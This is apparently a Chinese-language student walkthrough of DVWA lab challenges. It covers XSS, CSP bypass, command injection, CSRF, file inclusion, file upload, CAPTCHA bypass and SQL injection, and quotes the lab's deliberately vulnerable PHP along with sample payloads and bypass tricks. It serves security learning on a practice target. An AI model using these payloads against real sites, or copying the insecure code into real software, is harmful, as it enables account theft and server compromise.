难度:low
第一题:xss(dom型漏洞):
什么是DOM:
所谓的DOM又称DOM树,全称为文档对象模型(Document Objeet Mode),是Web前端开发中使用到的一种模型。在前端开发中会使用到很多元素,如< title>、< h1>等,而为了方便使用这些已经定义的元素,将这些元素作为结点排成树状后,通过遍历这棵树,就可以很方便的调用这些元素。而这颗树就称为DOM树。
当js脚本从url获得数据并将其传递到支持动态代码执行的接收器时,就会产生基于DOM的XSS漏洞。也就是说不规范的使用接收器时就会产生基于DOM的XSS漏洞。因此基于DOM的XSS漏洞一般产生于用户能够进行参数输入查询的地方。
因此这题的关键是通过构造含有恶意代码的url获取受害者的私人信息。
首先我们审计代码,发现什么也没有
<?php
# No protections, anything goes
?>
观察url发现可以在此直接修改,因此我们可以添加一些恶意代码,如<script>alert('hack')</script>
第二题:xss(反射型漏洞)
该类型与DOM相似,但DOM在页面便直接执行(也就是前端),而反射型会涉及到后端
我们审计代码,发现没有任何过滤,我们可以构造js恶意代码
<script>alert(document.cookie)</script>获取cookie
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
第三题:xss(存储型漏洞)
该类型与之前不同点便是有了数据库的连接,若该网站有发布及浏览文章的类似功能,攻击者便可以通过xss存储型漏洞发布含恶意代码的文章,并被存储在数据库中,当受害者访问该文章时,浏览器便会执行此恶意代码,最终攻击者可以获得受害者的私人信息
因此这题的关键是想办法将自己的恶意代码存储进数据库中,首先我们审计代码,发现对name,message变量没有过滤,因此我们可以直接输入恶意代码执行。
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
结果如下,可以看到我们注入成功
第四题:CSP绕过
Content-Security-Policy是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。翻译为中文就是绕过内容安全策略。是为了缓解潜在的跨站脚本问(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念。原来应对XSS攻击时,主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。
script-src脚本:只信任当前域名
object-src:不信任任何URL,即不加载任何资源
style-src样式表:只信任http://cdn.example.org和THIRDPARTY | 名古屋でWebのコンサルティング・ディレクションをしています。
child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。
其他资源:没有限制其他资源
当启用CSP后,不符合CSP的外部资源会被阻止加载。
两种方法可以启用CSP:
一种是通过HTTP相应头信息的Content-Security-Policy字段;
另一种是通过网页标签;
本题关键就是通过某些方法绕过CSP进而执行你的恶意代码,首先我们审计代码,发现没有任何过滤条件,并且看到了Content-Security-Policy: script-src 'self' https://pastebin.com,说明该网站只信任pastebin.com域,因此我们可以在此域上注入自己的恶意代码,使得受害者点击时,可以执行此代码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
接下来我们直接访问pastebin.com发现他是一个共享的可以粘贴任何文本的网站,因此我们可以在paste处输入我们的恶意代码,点击生成文本之后,点击raw(原生)
可以看到上面的url,我们复制该url粘贴到dvwa的文本框中即可,可以发现提交之后会出现一个弹窗,上面内容是hack(内容是大家自己写的),但我这里不出现弹窗,也不明白为什么,但方法正确
第五题:js攻击
JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的。
若是涉及到Cookie、Session等记录用户信息的脚本,应该通过外部引入方式,并且不能暴露文件路径,控制好文件访问权限,若被攻击者获取到重要脚本代码,则能伪造其他合法用户进行伪造。
首先我们审计代码,发现该代码对phrase中的value值进行双重加密,赋值给token的value属性,结合前端让我们输入“success即可胜利”的含义,意思是我们需要让toke的value属性对应于phrase=success的value属性即可,而源代码是静态的,需要我们手动调整value的值使其对应于success即可
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){.....}
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
首先我们F12在控制台生成success对应的toke属性,接着burp抓包对token的值进行修改,即可成功
难度:medium
第一题:暴力破解
我们审计代码发现,该代码对user与password的进行了转义符号的处理,因此有效的防止了sql注入,但我们仍然可以burp爆破,只不过时间长了,步骤与上一篇一致,不过可以进行用户名与密码的同时爆破
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
第二题:命令注入
常见命令拼接符
- |:A|B 不管A命令成功与否,都会去执行b命令。
- &:A&B 各自执行
- ||:A||B 先执行A,如果为假,再执行B
- && :A&&B 先执行A,如果为真,再执行B
- ;: A;B 先执行A后执行
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
第三题:跨站点请求伪造(CSRF)
进行代码审计发现,多了一个if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
查询后发现,这是对http的包头进行了限制,要求$_SERVER[ 'HTTP_REFERER' ]即包头中的referer必须含有“主机名”,我们可以通过抓包来进一步理解其含义
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这是正常修改密码的包
我们复制url进行连接访问,看到密码修改错误,我们可以抓包来看一下
Referer: http://127.0.0.1/webwork/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change
可以看到与上述比较缺少了referer头:这样就不符合if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
这一函数,因此我们可以在该包中添加上述的referer头,放包查看
可以看到密码修改成功
第四题:文件包含
我们审计代码发现,该代码对http://与https://与../与..\进行了过滤,但对于本地文件包含,采用low方法即可
远程文件包含:
可以利用它的过滤特性,用双写即可绕过
http://dvwa/vulnerabilities/fi/?page=hhttp://ttp://ip/可执行脚本
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
第五题:文件上传
首先我们审计代码,发现该代码对文件的格式与大小做了限制,因此我们只要上传符合该条件的木马文件即可,由于我们想要上传之后执行代码,但后缀并不是PHP,百度之后发现可以在上传之后抓包,修改后缀名放包即可
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
在这里新建了一个php文件写上了相关代码,并修改了后缀名为符合条件的如,png等,随后在上传之后使用burp抓包,修改了其后缀名为php,防爆看到如下结果
第六题:不安全的验证码
首先我们审计代码,发现多了个passed_captch变量在html页面中并且在step==2中发现由$_POST['$passed_captch']传过来的是true(这一个bool值是你在执行过step==1才会有的)而如果我们依旧用low的方法会发现,不能通过passed_captch的验证因此我们需要用burp抓包,修改step的同时,添加passed_captch的值为true
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这是burp修改的情况
这是放包后的情况,可以看到已经成功
第七题:sql手工注入
首先审计代码,发现对id进行了转义符的过滤,如字符:NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z,并且id采用了post传值,不能再url进行修改,因此我们可以在burp抓包修改爆破内容即可。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
我们可以按照下图的逻辑来判断是哪种类型的sql注入
这里我采用 1and 1=1和1 and 1=2来判断可以看到前者返回成功,后者返回结果失败,因此存在数字型注入,接下来查询语句和low相同,在burp上进行即可(不过是将查询中的1'改为1即可)
在爆表时发现一个报错,发现是会对单引号进行转义,查询资料发现可以用十六进制将dvwa转换,当然也可以换成database()
这里如果仍然使用Low中爆表的方法,则会报错,因为 ’单引号被转义
在百度上搜索相关工具即可,下图为最终结果
第八题:sql盲注入
首先我们审计代码,发现依旧同上题一般,对id进行了字符转义,因此我们只需要注意语句即可。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
看到页面中没有输入框,我们同样进行burp抓包获取内容
首先如上题,判断注入类型,发现为数字型注入,接下来就是猜测了,毕竟已经知道了答案,我们直接验证即可,语句如同low一般,只需将1’改为1,之一转义字符即可,在这里我只展示最终结果